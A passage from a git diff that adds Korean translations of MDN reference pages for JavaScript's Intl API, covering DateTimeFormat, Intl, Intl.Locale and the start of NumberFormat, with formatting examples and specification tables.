+   <li>"<code>narrow</code>" (<code>M</code> 등). 일부 로케일에서는 두 개의 요일이 같은 값을 스타일을 가질 수 있습니다. (예: <code>March</code>와 <code>May</code> 둘 다 <code>M</code>)</li>
+  </ul>
+  </dd>
+  <dt><code>day</code></dt>
+  <dd>일. 가능한 값은 다음과 같습니다.
+  <ul>
+   <li>"<code>numeric</code>" (<code>1</code> 등)</li>
+   <li>"<code>2-digit</code>" (<code>01</code> 등)</li>
+  </ul>
+  </dd>
+  <dt><code>hour</code></dt>
+  <dd>시. 가능한 값은 <code>"numeric"</code>, <code>"2-digit"</code>입니다.</dd>
+  <dt><code>minute</code></dt>
+  <dd>분. 가능한 값은 <code>"numeric"</code>, <code>"2-digit"</code>입니다.</dd>
+  <dt><code>second</code></dt>
+  <dd>초. 가능한 값은 <code>"numeric"</code>, <code>"2-digit"</code>입니다.</dd>
+  <dt><code>timeZoneName</code></dt>
+  <dd>시간대 이름. 가능한 값은 다음과 같습니다.
+  <ul>
+   <li>"<code>long</code>" (<code>한국 표준시</code>, <code>British Summer Time</code>등)</li>
+   <li>"<code>short</code>" (<code>GMT+9</code> 등)</li>
+  </ul>
+  </dd>
+ </dl>
+
+ <p class="noinclude">각 구성요소 속성의 기본값은 {{jsxref("undefined")}}입니다. 그러나 모든 속성이 {{jsxref("undefined")}}일 경우, <code>year</code>, <code>month</code>, <code>day</code>는 <code>"numeric"</code>으로 취급합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="속성">속성</h3>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.prototype", "Intl.DateTimeFormat.prototype")}}</dt>
+ <dd>모든 인스턴스에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h3 id="메서드">메서드</h3>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.supportedLocalesOf", "Intl.DateTimeFormat.supportedLocalesOf()")}}</dt>
+ <dd>주어진 로케일 목록 중, 런타임이 지원하는 항목을 배열로 반환합니다.</dd>
+</dl>
+
+<h2 id="DateTimeFormat_인스턴스"><code>DateTimeFormat</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<p><code>DateTimeFormat</code> 인스턴스는 프로토타입의 다음 속성을 상속합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype', '속성')}}</div>
+
+<h3 id="메서드_2">메서드</h3>
+
+<p><code>DateTimeFormat</code> 인스턴스는 프로토타입의 다음 메서드를 상속합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype', '메서드')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="DateTimeFormat_사용하기"><code>DateTimeFormat</code> 사용하기</h3>
+
+<p>로케일을 지정하지 않고 사용하면 기본 로케일 및 기본 옵션 서식을 적용한 문자열을 반환합니다.</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// 매개변수 없이 toLocaleString() 호출한 결과는
+// 구현체, 기본 로케일, 기본 시간대에 다라 달라짐
+console.log(new Intl.DateTimeFormat().format(date));
+// → ko-KR 로케일(언어)와 Asia/Seoul 시간대(UTC+0900)에서 "2012. 12. 20."
+</pre>
+
+<h3 id="locales_사용하기"><code>locales</code> 사용하기</h3>
+
+<p>다음 예제는 지역화된 숫자 서식의 예시를 보입니다. 어플리케이션의 사용자 인터페이스 언어에 맞는 서식을 적용하려면 <code>locales</code> 매개변수로 적절한 언어(와, 필요한 경우 대체 언어)를 제공하는걸 잊지 마세요.</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// 아래 결과는 모두 Asia/Seoul 시간대를 사용한 결과 (UTC+0900, 한국 표준시)
+
+// 한국어에서 날짜 표기는 연월일 순서
+console.log(new Intl.DateTimeFormat('ko-KR').format(date));
+// → "2012. 12. 20."
+
+// 미국 영어에서 날짜 표기는 월일년 순서
+console.log(new Intl.DateTimeFormat('en-US').format(date));
+// → "12/20/2012"
+
+// 영국 영어에서 날짜 표기는 일월년 순서
+console.log(new Intl.DateTimeFormat('en-GB').format(date));
+// → "20/12/2012"
+
+// 대부분의 아랍어 국가에서는 진짜 아라비아 숫자 사용
+console.log(new Intl.DateTimeFormat('ar-EG').format(date));
+// → "٢٠‏/١٢‏/٢٠١٢"
+
+// 일본어의 경우 어플리케이션에 연호를 사용해야 할 수도 있음
+// 2012년은 헤이세이 24년
+console.log(new Intl.DateTimeFormat('ja-JP-u-ca-japanese').format(date));
+// → "24/12/20"
+
+// 발리어와 같이 지원되지 않을 수도 있는 언어를 지정할 때는
+// 다음과 같이 대체 언어를 지정할 수 있음. 아래의 경우 대체 언어는 인도어
+console.log(new Intl.DateTimeFormat(['ban', 'id']).format(date));
+// → "20/12/2012"
+</pre>
+
+<h3 id="options_사용하기"><code>options</code> 사용하기</h3>
+
+<p><code>options</code> 매개변수를 지정해 날짜와 시간 서식 결과를 원하는 형태로 바꿀 수 있습니다.</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// 긴 날짜 서식에 더해 요일 요청
+var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
+console.log(new Intl.DateTimeFormat('de-DE', options).format(date));
+// → "Donnerstag, 20. Dezember 2012"
+
+// 어플리케이션이 GMT를 사용해야 하고, 그 점을 명시해야 할 때
+options.timeZone = 'UTC';
+options.timeZoneName = 'short';
+console.log(new Intl.DateTimeFormat('en-US', options).format(date));
+// → "Thursday, December 20, 2012, GMT"
+
+// 좀 더 자세한 설정이 필요하면
+options = {
+  hour: 'numeric', minute: 'numeric', second: 'numeric',
+  timeZone: 'Australia/Sydney',
+  timeZoneName: 'short'
+};
+console.log(new Intl.DateTimeFormat('en-AU', options).format(date));
+// → "2:00:00 pm AEDT"
+
+// 미국에서도 24시간제가 필요할 때
+options = {
+  year: 'numeric', month: 'numeric', day: 'numeric',
+  hour: 'numeric', minute: 'numeric', second: 'numeric',
+  hour12: false,
+  timeZone: 'America/Los_Angeles'
+};
+console.log(new Intl.DateTimeFormat('en-US', options).format(date));
+// → "12/19/2012, 19:00:00"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.1', 'Intl.DateTimeFormat')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-12.1', 'Intl.DateTimeFormat')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#datetimeformat-objects', 'Intl.DateTimeFormat')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Intl', '같이_보기')}}</div>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html b/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html
new file mode 100644
index 0000000000..1990621642
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html
@@ -0,0 +1,86 @@
+---
+title: Intl.DateTimeFormat.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype
+tags:
+  - DateTimeFormat
+  - Internationalization
+  - Intl
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Intl.DateTimeFormat.prototype</code></strong> 속성은 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Intl.DateTimeFormat</code> 인스턴스에 대한 설명은 {{jsxref("DateTimeFormat")}} 문서를 참고하세요.</p>
+
+<p>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} 인스턴스는 <code>Intl.DateTimeFormat.prototype</code>을 상속합니다. 프로토타입 객체를 변경하면 모든 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} 인스턴스가 영향을 받습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Intl.DateTimeFormat.prototype.constructor</code></dt>
+ <dd>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}에 대한 참조입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format()")}}</dt>
+ <dd>주어진 날짜에 {{jsxref("DateTimeFormat")}} 객체의 로케일과 서식 설정을 적용해 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.formatToParts", "Intl.DateTimeFormat.prototype.formatToParts()")}}</dt>
+ <dd>서식을 적용한 날짜 문자열의 각 부분을 객체로 표현해서 {{jsxref("Array")}}로 반환합니다. 반환 값은 로케일별 커스텀 서식에 사용할 수 있습니다.</dd>
+ <dt>{{jsxref("DateTimeFormat.resolvedOptions", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}</dt>
+ <dd>객체 인스턴스 생성 때 주어진 로케일과 서식 설정이 어떻게 반영되었나 나타내는 새로운 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype', 'Intl.DateTimeFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat.prototype")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/index.html b/files/ko/web/javascript/reference/global_objects/intl/index.html
new file mode 100644
index 0000000000..569fb94b80
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/index.html
@@ -0,0 +1,134 @@
+---
+title: Intl
+slug: Web/JavaScript/Reference/Global_Objects/Intl
+tags:
+  - Internationalization
+  - Intl
+  - JavaScript
+  - Reference
+  - 국제화
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Intl</code></strong> 객체는 각 언어에 맞는 문자비교, 숫자, 시간, 날짜비교를 제공하는, ECMAScript 국제화 API를 위한 이름공간입니다. {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, {{jsxref("DateTimeFormat")}}는 <code>Intl</code> 객체의 속성을 위한 생성자입니다. 이 페이지는 일반적인 국제화의 기능을 수행하는 객체의 생성자들과 언어를 구분하는 함수들 뿐만 아니라 이러한 속성들에 대해서도 다루고 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Collator", "Intl.Collator")}}</dt>
+ <dd>콜레이터 생성자입니다. 콜레이터 객체는 각 언어에 맞는 문자열 비교를 가능하게 해줍니다.</dd>
+ <dt>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</dt>
+ <dd>각 언어에 맞는 시간과 날짜 서식을 적용할 수 있는 객체의 생성자입니다.</dd>
+ <dt>{{jsxref("ListFormat", "Intl.ListFormat")}}</dt>
+ <dd>각 언어에 맞는 목록 서식을 적용할 수 있는 객체의 생성자입니다.</dd>
+ <dt>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</dt>
+ <dd>각 언어에 맞는 숫자 서식을 적용할 수 있는 객체의 생성자입니다.</dd>
+ <dt>{{jsxref("PluralRules", "Intl.PluralRules")}}</dt>
+ <dd>각 언어에 맞는 복수형 규칙 및 단수 복수 구분 서식을 적용할 수 있는 객체의 생성자입니다.</dd>
+ <dt>{{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</dt>
+ <dd>각 언어에 맞는 상대 시간 서식을 적용할 수 있는 객체의 생성자입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Intl.getCanonicalLocales()")}}</dt>
+ <dd>표준 로케일 이름 목록을 반환합니다.</dd>
+</dl>
+
+<h2 id="로케일_식별과_조정">로케일 식별과 조정</h2>
+
+<p>The internationalization constructors as well as several language sensitive methods of other constructors (listed under {{anch("See_also", "See also")}}) use a common pattern for identifying locales and determing the one they will actually use: they all accept <code>locales</code> and <code>options</code> arguments, and negotiate the requested locale(s) against the locales they support using an algorithm specified in the <code>options.localeMatcher</code> property.</p>
+
+<h3 id="locales_매개변수"><code>locales</code> 매개변수</h3>
+
+<p>The <code>locales</code> argument must be either a string holding a <a href="http://tools.ietf.org/html/rfc5646">BCP 47 language tag</a>, or an array of such language tags. If the <code>locales</code> argument is not provided or is undefined, the runtime's default locale is used.</p>
+
+<p>A BCP 47 language tag identifies a language or locale (the difference between the two is fuzzy). In their most common form it can contain, in this order: a language code, a script code, and a country code, all separated by hyphens. Examples:</p>
+
+<ul>
+ <li><code>"hi"</code>: Hindi.</li>
+ <li><code>"de-AT"</code>: German as used in Austria.</li>
+ <li><code>"zh-Hans-CN"</code>: Chinese written in simplified characters as used in China.</li>
+</ul>
+
+<p>The subtags identifying languages, scripts, countries (regions), and (rarely used) variants in BCP 47 language tags can be found in the <a href="http://www.iana.org/assignments/language-subtag-registry">IANA Language Subtag Registry</a>.</p>
+
+<p>BCP 47 also allows for extensions, and one of them matters to the JavaScript internationalization functions: the <code>"u"</code> (Unicode) extension. It can be used to request a customization of the locale-specific behavior of a {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, or {{jsxref("DateTimeFormat")}} object. Examples:</p>
+
+<ul>
+ <li><code>"de-DE-u-co-phonebk"</code>: Use the phonebook variant of the German sort order, which expands umlauted vowels to character pairs: ä → ae, ö → oe, ü → ue.</li>
+ <li><code>"th-TH-u-nu-thai"</code>: Use Thai digits (๐, ๑, ๒, ๓, ๔, ๕, ๖, ๗, ๘, ๙) in number formatting.</li>
+ <li><code>"ja-JP-u-ca-japanese"</code>: Use the Japanese calendar in date and time formatting, so that 2013 is expressed as the year 25 of the Heisei period, or 平成25.</li>
+</ul>
+
+<h3 id="로케일_조정">로케일 조정</h3>
+
+<p>The <code>locales</code> argument, after stripping off all Unicode extensions, is interpreted as a prioritized request from the application. The runtime compares it against the locales it has available and picks the best one available. Two matching algorithms exist: the <code>"lookup"</code> matcher follows the Lookup algorithm specified in <a href="http://tools.ietf.org/html/rfc4647#section-3.4">BCP 47</a>; the <code>"best fit"</code> matcher lets the runtime provide a locale that's at least, but possibly more, suited for the request than the result of the Lookup algorithm. If the application doesn't provide a <code>locales</code> argument, or the runtime doesn't have a locale that matches the request, then the runtime's default locale is used. The matcher can be selected using a property of the <code>options</code> argument (see below).</p>
+
+<p>If the selected language tag had a Unicode extension substring, that extension is now used to customize the constructed object or the behavior of the function. Each constructor or function supports only a subset of the keys defined for the Unicode extension, and the supported values often depend on the language tag. For example, the <code>"co"</code> key (collation) is only supported by {{jsxref("Collator")}}, and its <code>"phonebk"</code> value is only supported for German.</p>
+
+<h3 id="options_매개변수"><code>options</code> 매개변수</h3>
+
+<p>The <code>options</code> argument must be an object with properties that vary between constructors and functions. If the <code>options</code> argument is not provided or is undefined, default values are used for all properties.</p>
+
+<p>One property is supported by all language sensitive constructors and functions: The <code>localeMatcher</code> property, whose value must be a string <code>"lookup"</code> or <code>"best fit"</code> and which selects one of the locale matching algorithms described above.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-8', 'Intl')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-8', 'Intl')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#intl-object', 'Intl')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Added Intl.getCanonicalLocales in the 4th edition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Intl")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>소개글: <a href="http://norbertlindenberg.com/2012/12/ecmascript-internationalization-api/index.html">The ECMAScript Internationalization API</a></li>
+ <li>생성자
+  <ul>
+   <li>{{jsxref("Collator", "Intl.Collator")}}</li>
+   <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+   <li>{{jsxref("ListFormat", "Intl.ListFormat")}}</li>
+   <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+   <li>{{jsxref("PluralRules", "Intl.PluralRules")}}</li>
+   <li>{{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</li>
+  </ul>
+ </li>
+ <li>메서드
+  <ul>
+   <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+   <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/locale/index.html b/files/ko/web/javascript/reference/global_objects/intl/locale/index.html
new file mode 100644
index 0000000000..a768a8bb5d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/locale/index.html
@@ -0,0 +1,77 @@
+---
+title: Intl.Locale
+slug: Web/JavaScript/Reference/Global_Objects/Intl/Locale
+tags:
+  - Internationalization
+  - Intl
+  - JavaScript
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">The <strong><code>Intl.Locale</code></strong> constructor is a standard built-in property of the Intl object that represents a Unicode locale identifier.</span></p>
+
+<p>{{EmbedInteractiveExample("pages/js/intl-locale.html")}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Intl.Locale(<var>tag</var> [, <var>options</var>])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>tag</code></dt>
+ <dd>The Unicode locale identifier string.</dd>
+ <dt><code>options</code></dt>
+ <dd>An object that contains configuration for the Locale. Keys are Unicode locale tags, values are valid Unicode tag values.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>The <code><strong>Intl.Locale</strong></code> object was created to allow for easier manipulation of Unicode locales. Unicode represents locales with a string, called a <em>locale identifier</em>. The locale identifier consists of a <em>language identifier</em> and <em>extension tags</em>. Language identifiers are the core of the locale, consisting of <em>language</em>, <em>script</em>, and <em>region subtags</em>. Additional information about the locale is stored in the optional <em>extension tags</em>. Extension tags hold information about locale aspects such as calendar type, clock type, and numbering system type.</p>
+
+<p>Traditionally, the Intl API used strings to represent locales, just as Unicode does. This is a simple and lightweight solution that works well. Adding a Locale class, however, adds ease of parsing and manipulating the language, script, and region, as well as extension tags.</p>
+
+<p><span style="">The Intl.Locale object has the following properties and methods:</span></p>
+
+<h3 id="Properties">Properties</h3>
+
+<dl>
+ <dt>{{jsxref("Locale.prototype", "Intl.Locale.prototype")}}</dt>
+ <dd>The prototype object for the <code>Locale</code> constructor.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#locale-objects">Intl.Locale proposal</a></td>
+   <td>Stage 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.Locale")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li> <a href="https://github.com/zbraniecki/Intl.js/tree/intllocale">The Intl.Locale Polyfill</a></li>
+ <li><a href="https://www.unicode.org/reports/tr35/#Canonical_Unicode_Locale_Identifiers">Unicode locale identifiers spec</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/locale/language/index.html b/files/ko/web/javascript/reference/global_objects/intl/locale/language/index.html
new file mode 100644
index 0000000000..195b2a06a0
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/locale/language/index.html
@@ -0,0 +1,62 @@
+---
+title: Intl.Locale.prototype.language
+slug: Web/JavaScript/Reference/Global_Objects/Intl/Locale/language
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/language
+---
+<div>{{JSRef}}</div>
+
+<div></div>
+
+<p><span class="seoSummary"><strong><code>Intl.Locale.prototype.language</code></strong> 속성은 locale과 관련된 언어를 반환하는 접근자 속성입니다.</span></p>
+
+<h2 id="Description">Description</h2>
+
+<p>언어는 locale의 핵심 기능 중 하나입니다. 유니 코드 사양은 locale의 언어 식별자를 언어와 지역으로 함께 취급합니다 (예를 들어 영국 영어와 미국 영어 등의 방언과 변형을 구별하기 위해). {{jsxref("Locale", "Locale")}}의 language 속성은 로캘의 언어 하위 태그를 엄격하게 반환합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="locale_식별자_문자열_인수에서_언어_설정">locale 식별자 문자열 인수에서 언어 설정</h3>
+
+<p>유효한 유니 코드 locale 식별자가 되려면 문자열이 언어 하위 태그로 시작해야합니다. {{jsxref("Locale", "Locale")}} 생성자에 대한 주요 인수는 유효한 유니 코드 locale 식별자여야하므로 생성자가 사용될 때마다 언어 하위 태그가있는 식별자를 전달해야합니다.</p>
+
+<pre class="brush: js">let langStr = new Intl.Locale("en-Latn-US");
+
+console.log(langStr.language); // Prints "en"</pre>
+
+<h3 id="configuration_객체로_언어_오버라이딩_하기">configuration 객체로 언어 오버라이딩 하기</h3>
+
+<p>언어 하위 태그를 지정해야하지만 {{jsxref("Locale", "Locale")}} 생성자는 언어 하위 태그를 재정의 할 수있는 구성 개체를 사용합니다.</p>
+
+<pre class="brush: js">let langObj = new Intl.Locale("en-Latn-US", {language: "es"});
+
+console.log(langObj.language); // Prints "es"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.language">Intl.Locale.prototype.language proposal</a></td>
+   <td>Stage 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+{{Compat("javascript.builtins.Intl.Locale.language")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Locale")}}</li>
+ <li><a href="https://www.unicode.org/reports/tr35/#unicode_language_subtag_validity">Unicode language subtag specification</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/numberformat/index.html b/files/ko/web/javascript/reference/global_objects/intl/numberformat/index.html
new file mode 100644
index 0000000000..6d306a0c77
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/numberformat/index.html
@@ -0,0 +1,198 @@
+---
+title: Intl.NumberFormat
+slug: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+tags:
+  - Internationalization
+  - Intl
+  - JavaScript
+  - NumberFormat
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Intl.NumberFormat</code></strong>은 언어에 맞는 숫자 서식을 지원하는 객체의 생성자입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-numberformat.html")}}</div>
+
+<p class="hidden">상호작용 가능한 예제의 소스는 GitHub 리포지토리에 보관되어 있습니다. 상호작용 예제 프로젝트에 기여하고 싶으시다면, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>를 클론한 후 풀 리퀘스트를 보내주세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Intl.NumberFormat([<var>locales</var>[, <var>options</var>]])
+Intl.NumberFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>locales</code> {{optional_inline}}</dt>
+ <dd>
+ <p><a href="https://ko.wikipedia.org/wiki/IETF_%EC%96%B8%EC%96%B4_%ED%83%9C%EA%B7%B8">BCP 47</a> 언어 태그를 포함하는 문자열이나 문자열의 배열. 로케일 매개변수의 일반적인 형식 및 해석은 {{jsxref("Intl", "<code>Intl</code> 문서", "#Locale_identification_and_negotiation", 1)}}를 참고하세요. 다음의 Unicode 확장 키를 사용할 수 있습니다.</p>
+
+ <dl>
+  <dt><code>nu</code></dt>
+  <dd>사용할 기수법. <code>"arab"</code>, <code>"arabext"</code>, <code>"bali"</code>, <code>"beng"</code>, <code>"deva"</code>, <code>"fullwide"</code>, <code>"gujr"</code>, <code>"guru"</code>, <code>"hanidec"</code>, <code>"khmr"</code>, <code>"knda"</code>, <code>"laoo"</code>, <code>"latn"</code>, <code>"limb"</code>, <code>"mlym"</code>, <code>"mong"</code>, <code>"mymr"</code>, <code>"orya"</code>, <code>"tamldec"</code>, <code>"telu"</code>, <code>"thai"</code>, <code>"tibt"</code> 등을 사용할 수 있습니다.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>다음 속성을 포함하는 객체.</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>사용할 로케일 매칭 알고리즘. 가능한 값은 <code>"lookup"</code>과 <code>"best fit"</code>이고, 기본값은 <code>"best fit"</code>입니다. 자세한 정보는 {{jsxref("Intl", "<code>Intl</code> 문서", "#로케일_조정", 1)}}를 참고하세요.</dd>
+  <dt><code>style</code></dt>
+  <dd>사용할 서식 스타일. 가능한 값은 평문 숫자 <code>"decimal"</code>, 통화 서식 <code>"currency"</code>, 백분율 서식 <code>"percent"</code>입니다. 기본값은 <code>"decimal"</code>입니다.</dd>
+  <dt><code>currency</code></dt>
+  <dd>통화 서식에 사용할 통화입니다. 가능한 값은 <a href="https://ko.wikipedia.org/wiki/ISO_4217">ISO 4217 통화 코드</a>로 대한민국 원화 <code>"KRW"</code>, 미국 달러화 <code>"USD"</code>, 유럽 유로화 <code>"EUR"</code> 등을 포함합니다. <a href="http://www.currency-iso.org/en/home/tables/table-a1.html">현재 통화 및 펀드 코드 목록</a>을 참고하세요. 기본값은 없습니다. <code>style</code> 값을 <code>"currency"</code>로 지정했다면, <code>currency</code> 값도 반드시 지정해야 합니다.</dd>
+  <dt><code>currencyDisplay</code></dt>
+  <dd>통화 서식에서 통화를 표시하는 방법. 가능한 값은 €와 같이 현지 통화 기호를 사용하는 <code>"symbol"</code>, ISO 통화 코드를 사용하는 <code>"code"</code>, <code>"dollar"</code> 등 현지 통화 이름을 사용하는 <code>"name"</code>이 있습니다. 기본 값은 <code>"symbol"</code>입니다.</dd>
+  <dt><code>useGrouping</code></dt>
+  <dd>천 단위 구분자 혹은 천/라크/크로르 단위 구분자의 삽입 여부. 가능한 값은 <code>true</code>와 <code>false</code>입니다. 기본 값은 <code>true</code>입니다.</dd>
+ </dl>
+
+ <p>아래 속성은 두 가지 그룹으로 나뉩니다. <code>minimumIntegerDigits</code>, <code>minimumFractionDigits</code>, <code>maximumFractionDigits</code>가 첫 번째 그룹이고, <code>minimumSignificantDigits</code>와 <code>maximumSignificantDigits</code>가 두 번째 그룹으로, 두 번째 그룹 중 하나라도 지정하면 첫 번째 그룹은 모두 무시합니다.</p>
+
+ <dl>
+  <dt><code>minimumIntegerDigits</code></dt>
